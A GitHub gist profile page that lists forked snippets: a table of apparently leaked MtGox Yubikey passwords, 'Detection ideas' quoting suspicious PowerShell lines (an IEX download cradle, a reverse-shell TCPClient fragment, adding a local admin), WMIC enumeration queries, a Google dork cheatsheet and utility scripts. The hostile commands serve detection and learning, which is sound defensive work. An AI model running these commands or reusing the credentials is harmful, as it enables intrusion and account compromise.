Skip to content

Instantly share code, notes, and snippets.

View kaywoz's full-sized avatar

ka kaywoz

  • between a hard place and a nightmarish hellscape....
  • X @Morna666
View GitHub Profile
@kaywoz
kaywoz / mtgox-yubikey.txt
Last active April 21, 2023 07:58 — forked from roycewilliams/mtgox-yubikey.txt
mtgox-yubikey.txt
# Mirror of: https://jenda.hrach.eu/f2/mtgox-yubikey.txt
#
# both slots worked for my 2012 yubikey, now has more worth than a paperweight but barely... ;-)
#
Yubikey Prefix Password
======= ====== ========
123456A d2868706da69 32e193d3e932
123456B cf0d9f4b8d2b d4deb686e7bc
720950A 24be0d14cc04 59e6fbe1f79f
720950B 82984359457f d7eeebf6d70d
@kaywoz
kaywoz / ideas.txt
Created January 30, 2023 14:09 — forked from JohnLaTwC/ideas.txt
Detection ideas
// suspicious PowerShell commands contacting URLs, adding admins, receiving commands
powershell -w 1 -exec bypass -e aQBlAH… --> "iex (("
powershell.exe -c $admins = ([System.Security.Principal.SecurityIdentifier]'S-1-5-32-544').Translate( [System.Security.Principal.NTAccount]).Value;$parts = $admins -split '\';$groupname = $parts[-1];Add-LocalGroupMember -Group $groupname -Member "...
powershell.exe -nop -c "$client = New-Object System.Net.Sockets.TCPClient('.
powershell -exec bypass -C "IEX (New-Object Net.Webclient).downloadstring(\" <ipv4>:<port>\")"
powershell.exe /c Get-WmiObject Win32_ComputerSystemProduct | Select-Object UUID
powershell.exe /c Get-WmiObject Win32_bios | Select-Object SerialNumber
powershell.exe /c Get-WmiObject Win32_PhysicalMedia | Select-Object SerialNumber
C:\Windows\system32\cmd.exe /c powershell -Command "copy \\server\share\procdump.exe C:\dump.exe"
@kaywoz
kaywoz / wmic_cmds.txt
Created December 8, 2022 12:45 — forked from xorrior/wmic_cmds.txt
Useful Wmic queries for host and domain enumeration
Host Enumeration:
--- OS Specifics ---
wmic os LIST Full (* To obtain the OS Name, use the "caption" property)
wmic computersystem LIST full
--- Anti-Virus ---
wmic /namespace:\\root\securitycenter2 path antivirusproduct
@kaywoz
kaywoz / GoogleDorking.md
Created June 29, 2022 10:30 — forked from sundowndev/GoogleDorking.md
Google dork cheatsheet

Google dork cheatsheet

Search filters

Filter Description Example
allintext Searches for occurrences of all the keywords given. allintext:"keyword"
intext Searches for the occurrences of keywords all at once or one at a time. intext:"keyword"
inurl Searches for a URL matching one of the keywords. inurl:"keyword"
allinurl Searches for a URL matching all the keywords in the query. allinurl:"keyword"
intitle Searches for occurrences of keywords in title all or one. intitle:"keyword"
@kaywoz
kaywoz / Base64_CheatSheet.md
Created May 25, 2022 19:58 — forked from Neo23x0/Base64_CheatSheet.md
Learning Aid - Top Base64 Encodings Table

Learning Aid - Top Base64 Encodings Table

Base64 Code Mnemonic Aid Decoded* Description
JAB 🗣 Jabber $. Variable declaration (UTF-16)
TVq 📺 Television MZ MZ header
SUVY 🚙 SUV IEX PowerShell Invoke Expression
SQBFAF 🐣 Squab favorite I.E. PowerShell Invoke Expression (UTF-16)
SQBuAH 🐣 Squab uahhh I.n. PowerShell Invoke string (UTF-16) e.g. Invoke-Mimikatz
PAA 💪 "Pah!" &lt;. Often used by Emotet (UTF-16)
@kaywoz
kaywoz / wsl-fix-resolvconf.sh
Last active February 4, 2022 08:21 — forked from nfekete/wsl-fix-resolvconf.sh
Fix resolv.conf in Windows Subsystem for Linux, when WSL doesn't correctly generate it.
#!/bin/bash
TMP=`mktemp`
trap ctrlC INT
removeTempFiles() {
rm -f $TMP
}
ctrlC() {
<#
.SYNOPSIS
Create a new desktop wallpaper from various sources and optionally overlay some text.
.DESCRIPTION
The script can be run manually, at logon or even as a scheduled task to update the wallpaper regularly
Wallpaper sources include:
- A solid colour